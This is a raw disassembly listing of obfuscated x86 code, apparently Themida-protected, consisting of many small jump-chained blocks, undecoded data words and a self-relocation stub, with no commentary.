		dd 8B24048Fh, 8B662424h, 0DEE9240Ch, 81FFFF78h,	2C4h, 665E6600h
		dd 66241431h, 0E9241433h, 0FFFF4CBBh
; ---------------------------------------------------------------------------

loc_5524C8:				; CODE XREF: sub_542C3C+E704j
		not	eax
		push	eax
		push	[esp+44h+var_40]
		pop	eax
		pop	[esp+44h+var_44]
		pop	edi
		jmp	loc_548F94
; ---------------------------------------------------------------------------

loc_5524D9:				; CODE XREF: sub_542C3C+7A2Bj
		pop	ecx
		jmp	loc_548D50
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EEC102E6h, 4ACE8107h, 811E3B73h, 79B5C5EEh,	0E9F3311Eh
		dd 0FFFF4F2Ch, 2261C381h, 30E94D72h, 5CFFFF68h,	0F7240C89h
		dd 0C8B2414h, 0EC2DE924h, 5243FFFFh, 0AE3BB7BAh, 0D4C28168h
		dd 0F706D901h, 0C1E2D1D2h, 0EA8108E2h, 87FECA5Fh, 0FFFF1BE9h
		dd 5EFC0FFh, 202CEF80h,	65ADE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55253E:				; CODE XREF: sub_542C3C+8BE0j
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		push	ebx
		push	2B4Ch
		mov	[esp+14h+var_14], eax
		push	ecx
		push	5CB67EA5h
		mov	ecx, [esp+1Ch+var_1C]
		jmp	loc_54E779
; ---------------------------------------------------------------------------

loc_55255E:				; CODE XREF: sub_542C3C+7BD2j
		pop	edi
		dec	ebx
		push	edi
		mov	edi, 0ED41C08h
		jmp	loc_54B391
; ---------------------------------------------------------------------------

loc_55256B:				; CODE XREF: sub_542C3C+AFB5j
		push	13B7h
		mov	[esp+40h+var_40], esi
		mov	esi, 5EB283Fh
		shl	esi, 4
		and	esi, 6A5D1CE8h
		add	esi, 7022132Dh
		add	esi, 0B42DF614h
		mov	ebp, esi
		pop	esi
		jmp	loc_54C0F1
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 665C242Ch, 0E900B60Fh, 0FFFFE773h, 2958C631h
		dd 54515EF0h, 818EE959h, 0F988FFFFh, 0E9CA085Bh, 0FFFFD0FFh
		dd 452DEB81h, 0C3813C9Ah, 49EB4365h, 295BDD01h,	242C8BEBh
		dd 0FF5360E9h, 66F128FFh, 0E9C9FE5Ah, 0FFFFB657h, 4DDDF74Dh
		dd 2907C581h, 0EA216A01h, 0FF5856E9h, 6DE95BFFh, 81FFFFA8h
		dd 0DB0D3842h, 0B951F7DBh, 7694023Bh, 0FDC5C181h, 4A89896Bh
		dd 8C3E930h, 0E6D10000h, 16C68146h, 814D922Ch, 0E22A15EEh
		dd 94B1E909h, 0BB53FFFFh, 127025EBh, 2A25F381h,	0D3F7450Eh
		dd 0FFFFB850h, 0C329FFFFh, 8324048Bh, 0E38104C4h, 4EC215B7h
		dd 5D7FF381h, 0F5E958F7h, 29FFFFB2h, 1C3359CBh,	5E4BE924h
		dd 0E789FFFFh, 4C781h, 0EF830000h, 243C8704h, 8924248Bh
		dd 0BB532404h, 3DE92D2Ch, 176729B8h, 5BD83121h,	0A90FA935h
		dd 0E9C3015Eh, 0FFFFABF6h, 4C481h, 98680000h, 0E900000Bh
		dd 93Ah, 618268h, 24048900h, 6CFE9h, 0E3E95500h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5526B3:				; CODE XREF: sub_542C3C+A740j
		sub	esp, 4
		mov	[esp+30h+var_30], ebp
		mov	ebp, ebx
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 52785C7Dh
		shr	esi, 5
		add	esi, 0FD6C3D21h
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp+34h+var_34]
		pop	esp
		jmp	loc_54C028
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 0E5D7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5526EA:				; CODE XREF: sub_542C3C+B2DBj
		xchg	eax, [esp+30h+var_30]
		pop	esp
		not	esi
		inc	esi
		xor	esi, 0AEA0D882h
		push	esi
		jmp	loc_550C84
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 91E96DB7h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552707:				; CODE XREF: sub_542C3C+A58Dj
		not	edi
		push	ecx
		jmp	loc_5487FB
; ---------------------------------------------------------------------------
		db 81h
		dd 0AB01B6E9h, 861DE929h, 0CEFEFFFFh, 8008EEC0h, 0BCE9F5C6h
		dd 0E9FFFFFAh, 0FFFF454Eh, 3F26C781h, 0E9592FB7h, 0FFFF79F2h
		dd 0CBFED4B3h, 882BF380h, 0C6805BDEh, 0C0C6FED0h, 396807E6h
		dd 0E9000008h, 0FFFF92C7h, 7997E95Ch, 0BF05FFFFh, 3557BC3Dh
		dd 609F4C9Ch, 4958C129h, 0DCE98149h, 149EF36h, 92E6E9C8h
		dd 895AFFFFh, 0C1815BDEh, 601675E9h, 0FF7D40E9h, 0B85057FFh
		dd 2, 8158C789h, 4B5B1EC3h, 81FB290Ch, 4B5B1EEBh, 1C335F0Ch
		dd 0B8BDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5527A6:				; CODE XREF: sub_542C3C+8C03j
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	529Ah
		mov	[esp+1Ch+var_1C], esi
		sub	esp, 4
		jmp	loc_552CE3
; ---------------------------------------------------------------------------
		dd 64B45052h, 0DDE9C8B2h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5527CB:				; CODE XREF: sub_542C3C+928Cj
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_547EB9
; ---------------------------------------------------------------------------
		dw 2959h
		dd 7DC82DF0h, 348B4BD7h, 4C48124h, 31000000h, 0E930FFC3h
		dd 0FFFF447Eh, 83D6C681h, 12B8FBABh, 0E9498043h, 14h
; ---------------------------------------------------------------------------

loc_55280C:				; CODE XREF: sub_542C3C+CAD6j
		push	6716h
		jmp	loc_54F8AE
; ---------------------------------------------------------------------------
		dw 5FE9h
		dd 0E9FFFF44h, 0FFFF445Ah, 0FF25D0F7h, 4027EB7Ah, 0E435952Dh
		dd 0CDD82D2Fh, 0F029BC92h, 0E9C2015Eh, 0FFFF793Dh, 24048B66h
		dd 90F6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552846:				; CODE XREF: sub_542C3C+9BD1j
		sub	edi, 0AC337447h
		sub	eax, edi
		pop	edi
		jmp	loc_549BE0
; ---------------------------------------------------------------------------
		dd 274E3CBAh, 3EAC158h,	41D7F281h, 0C2811C50h, 378A7EA0h
		dd 0FFA6B8E9h, 4C483FFh, 24148B66h, 505A5452h, 5C771DB8h
		dd 0FB73E948h, 0ED81FFFFh, 4, 8B242C87h, 3C892424h, 51E78924h
		dd 1C3657B9h, 33E1816Bh, 0F76F4132h, 2E1C1D9h, 5EDC181h
		dd 5BE95950h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5528AF:				; CODE XREF: sub_542C3C+8B56j
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		jmp	loc_55115C
; ---------------------------------------------------------------------------

loc_5528BD:				; CODE XREF: sub_542C3C+EEF0j
		pop	eax
		push	[esp+2Ch+var_2C]
		pop	edx
		push	edx
		push	esp
		pop	edx
		jmp	loc_54D13B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4C3h, 0E259E900h,	77FFFFFFh, 6856683Ch, 3C890000h
		dd 5DBDBF24h, 0BF573090h, 18751B59h, 8247C01h, 81243C8Bh
		dd 4C4h, 246C8100h, 1B1EFE04h, 2444816Ah, 5B038404h, 247C0152h
		dd 246C8104h, 5B038404h, 24448152h, 1B1EFE04h, 246C816Ah
		dd 751B5904h, 34FF5F18h, 7E88E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552932:				; CODE XREF: sub_542C3C+6050j
		mov	ecx, 447D0255h
		jmp	loc_54C51A
; ---------------------------------------------------------------------------
		dd 0D0E975B1h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552943:				; CODE XREF: sub_542C3C+A6E9j
		mov	[esp+24h+var_24], ebx
		jmp	loc_54DBA2
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF4586E9h, 0BB5359FFh, 4, 4B2EE981h, 0C181139Bh, 441C5C3Bh
		dd 0FF8024E9h, 0E9DE01FFh, 0FFFF655Ch, 42474FFh, 8B2434FFh
		dd 7BE92404h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55297F:				; CODE XREF: sub_542C3C+BB64j
		pop	eax
		jmp	loc_54BC12
; ---------------------------------------------------------------------------

loc_552985:				; CODE XREF: sub_542C3C+4F7Dj
		xor	edi, 28A00966h
		sub	edx, 54B8758Fh
		add	edx, edi
		jmp	loc_551707
; ---------------------------------------------------------------------------

loc_552998:				; CODE XREF: sub_542C3C+BA74j
		push	edi
		jmp	loc_548A66
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9535824h, 0FFFFEF9Eh, 241C8966h, 0DE68h, 240C8900h
		dd 4EC81h, 3EE90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5529BF:				; CODE XREF: sub_542C3C+B62Bj
		sub	esi, 4
		xchg	esi, [esp+38h+var_38]
		jmp	loc_54ADE3
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 32E90000h, 0FFFFFF72h
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 33793Bh
		jmp	loc_54EDB4
; ---------------------------------------------------------------------------
aUs5usIXZZpAkKs	db '¸žsÓ"5žsÓ"‰ÂX)ʇÑZP¸aKÄké1',0
		dd 665B0000h, 8124048Bh, 2C4h, 1CEA8000h, 5BEA80h, 0C3805AD3h
		dd 0C0B60F57h, 87048F66h, 0FFC6B0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552A2D:				; CODE XREF: sub_542C3C+6563j
		mov	[esp+30h+var_30], esi
		push	ecx
		mov	ecx, 752418DAh
		jmp	loc_54CBDF
; ---------------------------------------------------------------------------
		db 0D1h
		dd 703825E8h, 0F8052234h, 0E9421E64h, 0FFFF8B3Ch, 0E9241431h
		dd 0FFFF50D0h
; ---------------------------------------------------------------------------

loc_552A54:				; CODE XREF: sub_542C3C+5BC7j
		add	edi, 602880B3h
		push	6DF0h
		mov	[esp+14h+var_14], edi
		pop	esi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	edx
		push	ebp
		push	481A7810h
		jmp	loc_54D23E
; ---------------------------------------------------------------------------

loc_552A7D:				; CODE XREF: sub_542C3C+DF8Dj
		add	ebx, 4
		jmp	loc_54A11C
; ---------------------------------------------------------------------------

loc_552A88:				; CODE XREF: sub_542C3C+6B2Cj
		xor	esi, 2FA25E4Ch
		add	esi, edi
		pop	edi
		sub	esi, 1
		xor	esi, 6F011CA0h
		inc	esi
		jmp	loc_5479D2
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 575D0000h, 4BB53h, 0DF890000h, 8456E95Bh
		dd 0EC81FFFFh, 4, 0FFC397E9h, 3D1768FFh, 0E95A058Ah, 0FFFFD8CEh
		dd 0AAEB814Bh, 29004AA6h, 0FE015BDFh, 2434875Fh, 5324248Bh
		dd 0B9515B54h, 6BF41E1h, 607F181h, 0EC812E8Dh, 4, 55243C89h
		dd 0FFCCDBE9h, 0F2315DFFh, 41EE815Eh, 125AE6Ah,	41C681D6h
		dd 0E925AE6Ah, 0FFFF9DC1h, 5048D0F7h, 541E9h, 2434FF00h
		dd 81AAE959h, 34FFFFFFh, 241C8B24h, 0FFA42DE9h,	0D0F581FFh
		dd 8938531Ah, 0F8895DEFh, 83243C8Bh, 0EA8104C4h, 26117FD1h
		dd 0FFED23E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552B51:				; CODE XREF: sub_542C3C+70FAj
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		push	0F35h
		jmp	loc_550B65
; ---------------------------------------------------------------------------

loc_552B5F:				; CODE XREF: sub_542C3C+4CA2j
		pop	esi
		mov	eax, [esp+20h+var_20]
		jmp	loc_549F78
; ---------------------------------------------------------------------------
		dd 0A6BC181h, 0CA01257Ch, 1D876859h, 0ACE90000h, 57FFFF6Ch
		dd 9BE9E789h, 83FFFFC4h, 348702EEh, 89665C24h, 0E8882404h
		dd 0FFD084E9h, 2DD0F7FFh, 0B499F483h, 0FFA963E9h, 34895CFFh
		dd 0BD555724h, 16286D57h, 0D5F7D5F7h, 0F1E9DDF7h, 1FFFF86h
		dd 9CE95AD0h, 0ACFFFF83h, 8904EC83h, 0B450241Ch, 30B2B344h
		dd 0E38058E3h, 0BFCB80A8h, 0FF9EE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552BD9:				; CODE XREF: sub_542C3C+F011j
		xor	ecx, 325D490Bh
		push	edx
		mov	edx, 4583101h
		jmp	loc_549DEE
; ---------------------------------------------------------------------------

loc_552BEA:				; CODE XREF: sub_542C3C+65A4j
		xor	cl, 0D3h
		xor	cl, 69h
		add	al, cl
		pop	ecx
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_54E8EC
; ---------------------------------------------------------------------------
		db 4, 51h, 28h
		dd 93B151E8h, 80DDC980h, 67E94AC9h, 89FFFF99h, 7DE92404h
		dd 29FFFF7Fh, 97B3E9D3h, 0E689FFFFh, 4C681h, 0B9510000h
		dd 4, 8759CE01h, 0B9E92434h, 0BDFFFFD9h, 380F4A49h, 0FF601AE9h
		dd 0FA0158FFh, 0FF5B73E9h, 4EC83FFh, 54240C89h,	4C18159h
		dd 83000000h, 0C8704E9h, 24248B24h, 50243C89h, 405E089h
		dd 2D000000h, 4, 0E9240487h, 0FFFF7A9Ch, 4C4815Fh, 0E9000000h
		dd 0FFFFC180h
; ---------------------------------------------------------------------------

loc_552C88:				; CODE XREF: sub_542C3C+9D8Fj
		push	7B36h
		mov	[esp+34h+var_34], eax
		jmp	loc_550BFE
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FF8375E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552C9D:				; CODE XREF: sub_542C3C+9E1Ej
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 62897F48h
		neg	ecx
		neg	ecx
		jmp	loc_54DE54
; ---------------------------------------------------------------------------
		dd 0DCEAE952h, 0C483FFFFh, 17B46802h, 1C890000h, 66E4B324h
		dd 0E909B753h, 0FFFFF19Fh
; ---------------------------------------------------------------------------

loc_552CD0:				; CODE XREF: sub_542C3C+E568j
		jz	loc_54BBAB
		push	4273h
		mov	[esp+20h+var_20], esi
		jmp	loc_54BE2D
; ---------------------------------------------------------------------------

loc_552CE3:				; CODE XREF: sub_542C3C+FB7Fj
		mov	[esp+20h+var_20], ebp
		push	73F42532h
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		push	esi
		jmp	loc_550E9D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3159EA81h, 348B1E63h, 4C48324h, 0FF6818E9h, 49E95CFFh
		dd 89FFFFE5h, 0DAB02404h, 4EC81h, 14890000h, 4EC8324h
		dd 0B3241C89h, 5BDE88D3h, 5AF000h, 0B60F58C3h, 148B66C0h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+2Ch+var_2C]
		push	ebp
		push	esp
		jmp	loc_54C228
; ---------------------------------------------------------------------------
		dw 1487h
		dd 2CD25C24h, 1BE99C24h, 29FFFF3Fh, 72C281C2h, 5340254Bh
		dd 0C378F3BBh, 7E3C15Fh, 8B77C381h, 0E9516693h,	0FFFF91DFh
		dd 60ACE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552D82:				; CODE XREF: sub_542C3C+555Bj
		and	edi, 39027558h
		inc	edi
		shr	edi, 2
		or	edi, 728A4E25h
		sub	edi, 768A4F33h
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		push	eax
		mov	eax, 4E235FE1h
		add	eax, 2B67E94Ah
		mov	ebx, eax
		pop	eax
		shr	ebx, 4
		shl	ebx, 7
		push	edx
		mov	edx, 33A5B702h
		add	ebx, edx
		pop	edx
		add	edx, ebx
		jmp	loc_551646
; ---------------------------------------------------------------------------
		db 81h
		dd 0F16A0DC3h, 81C32973h, 0F16A0DEBh, 24048B73h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54BB5C
; ---------------------------------------------------------------------------

loc_552DF9:				; CODE XREF: sub_542C3C+F36Ej
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		jmp	loc_54D967
; ---------------------------------------------------------------------------

loc_552E04:				; CODE XREF: sub_542C3C+95DFj
		sub	ebp, 4
		xchg	ebp, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_54EADB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7717E9D2h, 3C89FFFFh, 1DA16824h, 3C8B224Fh, 4C48324h
		dd 55FF829h, 46E2346Bh,	5AED68h, 24348900h, 4E2F68h, 0D3DAE900h
		dd 3C30FFFFh, 6860E924h, 0EA01FFFFh, 935FE95Dh,	8B66FFFFh
		dd 0E6E92404h, 81FFFFFDh, 4C2h,	4EA8300h, 0FFDBBFE9h, 7ECE81FFh
		dd 810C0020h, 670D8FCEh, 0E9565357h, 0FFFFF1E2h
; ---------------------------------------------------------------------------

loc_552E88:				; CODE XREF: sub_542C3C+A8C3j
		pop	ebx
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		shr	ecx, 2
		push	eax
		jmp	loc_54CF6A
; ---------------------------------------------------------------------------
		dw 40B8h
		dd 572CD71Ah, 0D7704DBFh, 5E685260h, 5A2A1C05h,	0CFC2814Ah
		dd 8998295Eh, 0ED815AD5h, 5CD54940h, 4C8AED81h,	0FD012C71h
		dd 0FF8F04E9h, 2434FFFFh, 81240C8Bh, 4C4h, 5FA46800h, 0DFE90000h
		dd 89FFFFDCh, 51E92414h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552EF7:				; CODE XREF: sub_542C3C+7809j
		sub	ecx, ebx
		pop	ebx
		and	eax, ecx
		jmp	loc_55186B
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 48F545Ch, 7788E924h,	15AFFFFh, 0FEBE56D8h, 815DDE7Ah
		dd 7D2D63C6h, 6E6C13Ch,	573EE81h, 0F001390Fh, 389E2D5Eh
		dd 1C8B74E9h, 4C48124h,	68000000h, 76F8h, 0BE243489h, 156C34CAh
		dd 127E9h, 81D7F700h, 9E181FF7h, 0A7EA81C6h, 0E938255Eh
		dd 0FFFFA886h
; ---------------------------------------------------------------------------

loc_552F5C:				; CODE XREF: sub_542C3C+104DFj
		push	edx
		mov	dh, 0
		shl	dh, 4
		and	dh, 40h
		add	dh, 0EBh
		mov	ah, dh
		pop	edx
		jmp	loc_5521FC
; ---------------------------------------------------------------------------
		dd 5877C381h, 0CB81082Ah, 5EA579E9h, 1E67C381h,	84680BBBh
		dd 89000041h, 0A2E92434h, 8B000000h, 0EB802424h, 7DC380E1h
		dd 7DEB80h, 7DC380C3h, 0FFC1EFE9h, 0E9595EFFh, 0FFFF4B9Dh
		dd 31240C33h, 0C33240Ch, 34FF5C24h, 24048B24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7F6F1899h
		neg	edi
		jmp	loc_5515B7
; ---------------------------------------------------------------------------
		db 89h
		dd 0E18951E3h, 0C85AE955h, 489FFFFh, 0E1895124h, 0FFDA83E9h
		dd 52C601FFh, 1B088DBAh, 0E9D62975h, 0FFFFAA85h, 0E327B2BAh
		dd 0B7CA8146h, 81215F78h, 501AFDF2h, 5AD00171h,	0FFCFF1E9h
		dd 14F751FFh, 51E95924h, 0E9FFFFFBh, 0FFFF3C5Eh, 0C335B5Ah
		dd 240C3124h, 5C240C33h, 9C2424D2h, 0FF5B71E9h,	0E9DE89FFh
		dd 0FFFFA58Dh, 4C481h, 48F0000h, 24248B24h, 0FF5D91E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553049:				; CODE XREF: sub_542C3C+4247j
		sub	esi, eax
		add	esi, 45FC4354h
		pop	eax
		sub	esp, 4
		mov	[esp+38h+var_38], edi
		mov	edi, 0E807046Bh
		jmp	loc_54A131
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0F0D8E924h, 0E952FFFFh, 0FFFFEA5Ch, 4F4FC681h, 834E4249h
		dd 0EE83FFEEh, 92D8E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553082:				; CODE XREF: sub_542C3C+F573j
		mov	ebp, 20853CADh
		xor	esi, ebp
		pop	ebp
		jmp	loc_54C8CC
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0E99C2424h, 0FFFF3BE2h, 0E92C77FFh, 0FFFF3BDAh, 0AE9BA52h
		dd 2CE928B8h, 81FFFF42h, 0E733BC7h, 0E9CF0176h,	0FFFF88B3h
		dd 51240489h, 0FF6332E9h, 505A54FFh, 945FFB8h, 47632576h
		dd 0D0F7216Eh, 241CF750h, 51232D58h, 0D0F73081h, 166CB951h
		dd 0A368016Eh, 89000031h, 0B6BE2434h, 2179094Bh, 0D1F75EF1h
		dd 0F661F181h, 0FE9EE8Eh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5530FF:				; CODE XREF: sub_542C3C+ACABj
		push	3965h
		mov	[esp+44h+var_44], edi
		push	ebp
		push	ebx
		mov	ebx, 20C800B6h
		inc	ebx
		and	ebx, 620B7DD7h
		jmp	loc_54DB6A
; ---------------------------------------------------------------------------

loc_55311A:				; CODE XREF: sub_542C3C+93B4j
		push	eax
		jmp	loc_552F5C
; ---------------------------------------------------------------------------

loc_553120:				; CODE XREF: sub_542C3C+5515j
		xor	eax, 540750DDh
		xor	eax, 43860321h
		jmp	loc_54A378
; ---------------------------------------------------------------------------

loc_55312F:				; CODE XREF: sub_542C3C+C500j
		mov	edx, 29C02776h
		sub	[esp+2Ch+var_28], 6AFB7D3Fh
		sub	[esp+2Ch+var_28], 1D6B75AEh
		sub	[esp+2Ch+var_28], edx
		jmp	loc_54DD33
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 104385C7h, 8EFC169h,	0C7B7EF81h, 0FD01EB43h,	83243C8Bh
		dd 76E904C4h, 83FFFFEBh, 0A3E901C6h, 80FFFFF4h,	0D8008DC3h
		dd 83241C8Bh, 34FF04C4h, 2434FF24h, 0FFAC8EE9h,	46858FFh
		dd 8900006Eh, 2468243Ch, 54000030h, 5324048Fh, 4BBh, 245C0100h
		dd 58E95B04h, 1FFFFC4h,	11C381C3h, 577B5D17h, 0FFF4A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5531B9:				; CODE XREF: sub_542C3C+9783j
		sub	eax, 0FFFFFFFFh
		jmp	loc_54A25C
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BC8h, 5704C483h, 7E4E1DBFh, 51F7810Dh, 81178A25h
		dd 0A96B3DEFh, 0CC78139h, 477BEF69h, 1BEF8147h,	55D3A69h
		dd 37347A76h, 762DF801h, 8B37347Ah, 0C483243Ch,	74FF5004h
		dd 48B0424h, 6BC7E924h,	1489FFFFh, 4EC8124h, 89000000h
		dd 0E953240Ch, 0FFFFE598h, 42474FFh, 0FFF1A8E9h, 5A5CA5FFh
		dd 5A67F800h, 6CEBA500h, 6D71FAh, 9508EB00h, 0E621h, 0
		dd 20300h, 200h, 100h, 0
		dd 6CEBA500h, 0FAh, 4 dup(0)
		dd 554FAC00h, 55A89300h, 561D2F00h, 55CFC200h, 56332200h
		dd 55E39C00h, 5605EE00h, 56635D00h, 56503200h, 55D2EA00h
		dd 5603C700h, 55D60800h, 56429D00h, 55AC8200h, 55AD4A00h
		dd 55B82900h, 55410700h, 560F2E00h, 55F80100h, 55CA0300h
		dd 55A10000h, 55A59500h, 55D8C200h, 56814700h, 55DD2200h
		dd 55F5C300h, 5623C400h, 566F5200h, 561DBF00h, 55B24100h
		dd 554CB800h, 563BE000h, 554BBE00h, 55911B00h, 56671200h
		dd 56616B00h, 55D52700h, 55A9BC00h, 55C6FB00h, 55DC8F00h
		dd 55462900h, 56234D00h, 55AACF00h, 56146000h, 567B7E00h
		dd 5626E800h, 5545B800h, 56295600h, 557F3D00h, 5614A000h
		dd 55C12800h, 5663A800h, 565A4000h, 55FC3A00h, 55B35900h
		dd 5616A800h, 55D27700h, 56858D00h, 55D54900h, 55E3F200h
		dd 5627C300h, 563A5100h, 5638D600h, 564AD500h, 55CED200h
		dd 55888E00h, 55A54E00h, 56846200h, 55959C00h, 553E6900h
		dd 55A4E500h, 55703C00h, 55440600h, 55CAB400h, 5675B700h
		dd 555D2A00h, 56272D00h, 555E8B00h, 55F00100h, 55FC7C00h
		dd 5582EC00h, 56085D00h, 557EB600h, 55A16400h, 561E3700h
		dd 55865B00h, 553B9300h, 55DB1900h, 560FA600h, 55831000h
		dd 55F20100h, 56663E00h, 5635AB00h, 55678C00h, 559FFF00h
		dd 55F29E00h, 5611A200h, 5621F900h, 56182600h, 562F3800h
		dd 56068000h, 56799600h, 55A8A200h, 55D02A00h, 562B9B00h
		dd 564A4700h, 55C2F100h, 56348800h, 55CD5300h, 56132100h
		dd 5662B300h, 55C24F00h, 55AB6500h, 55413700h, 561D0E00h
		dd 55952000h, 55866900h, 559D6D00h, 55437500h, 554FBA00h
		dd 559D6300h, 560DF000h, 55F0D900h, 566B3300h, 556C0000h
		dd 56702C00h, 5548F400h, 558A1900h, 5581D100h, 55BF5200h
		dd 55BDF700h, 559F3C00h, 55D82700h, 55484800h, 5642D900h
		dd 55538800h, 56208000h, 559DEC00h, 56108E00h, 55470300h
		dd 5633E500h, 567A5800h, 56323400h, 55BBC200h, 56277600h
		dd 555C3900h, 55E9E600h, 55F1AB00h, 55E33B00h, 55B2C100h
		dd 5650B200h, 562CC400h, 55BF3D00h, 56850F00h, 55EEA600h
		dd 5618C800h, 55E2CC00h, 5619E700h, 55F46E00h, 55A39C00h
		dd 55995800h, 553FC200h, 55D65900h, 55E96000h, 55A4AD00h
		dd 55BD8800h, 558BD800h
		db 0
; ---------------------------------------------------------------------------

loc_553505:				; CODE XREF: Themida_:005A1795j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E84968h
		mov	eax, edi
		add	edi, 5E84680h
		cmp	eax, [edi+2Ch]
		jnz	short loc_553523
		jmp	short loc_553536
; ---------------------------------------------------------------------------

loc_553523:				; CODE XREF: sub_542C3C+108E3j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_553532
; ---------------------------------------------------------------------------

loc_55352D:				; CODE XREF: sub_542C3C+108F8j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_553532:				; CODE XREF: sub_542C3C+108EFj
		or	ecx, ecx
		jnz	short loc_55352D

loc_553536:				; CODE XREF: sub_542C3C+108E5j
		mov	esi, [esp+58h+var_34]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_553543:				; CODE XREF: sub_542C3C+1090Ej
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_553543

loc_55354C:				; CODE XREF: sub_542C3C:loc_553E08j
					; sub_542C3C+1146Dj ...
		lodsb
		jmp	loc_55C68C
; ---------------------------------------------------------------------------
aRsis		db 'RéI˜',0
		align 4
		dd 4C381h, 1C870000h, 0B3ABE924h, 81470000h, 539C3AF7h
		dd 0E9FB2983h, 7D9Fh, 0A768E789h, 89000021h, 0A6E9242Ch
		dd 8100012Eh, 4C7h, 4C78100h, 0E9000000h, 0B3EAh
; ---------------------------------------------------------------------------

loc_553594:				; CODE XREF: sub_542C3C+1B93Ej
		push	ebx
		mov	ebx, 7B97368Bh
		xor	ebx, 573D0422h
		push	edi
		jmp	loc_5616DF
; ---------------------------------------------------------------------------

loc_5535A6:				; CODE XREF: sub_542C3C+1188Bj
		mov	esi, 21433FEh
		mov	edx, esi
		pop	esi
		jmp	loc_55C32E
; ---------------------------------------------------------------------------
		db 52h
		dd 0D14BFFBAh, 49BD5529h, 10AA776h, 0C2815DEAh,	6CB039A7h
		dd 135AEA81h, 0C281122Fh, 0A7D12E88h, 15AD729h,	8EBB53C7h
		dd 81499614h, 0A763CBEBh, 0E376E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5535EA:				; CODE XREF: sub_542C3C+1B26Cj
		pop	esi
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp+54h+var_54]
		mov	esp, [esp+54h+var_54]
		jmp	loc_55C042
; ---------------------------------------------------------------------------
		db 81h
		dd 0EC5850C7h, 3B3E963h, 0F6680001h, 89000037h,	0CE9242Ch
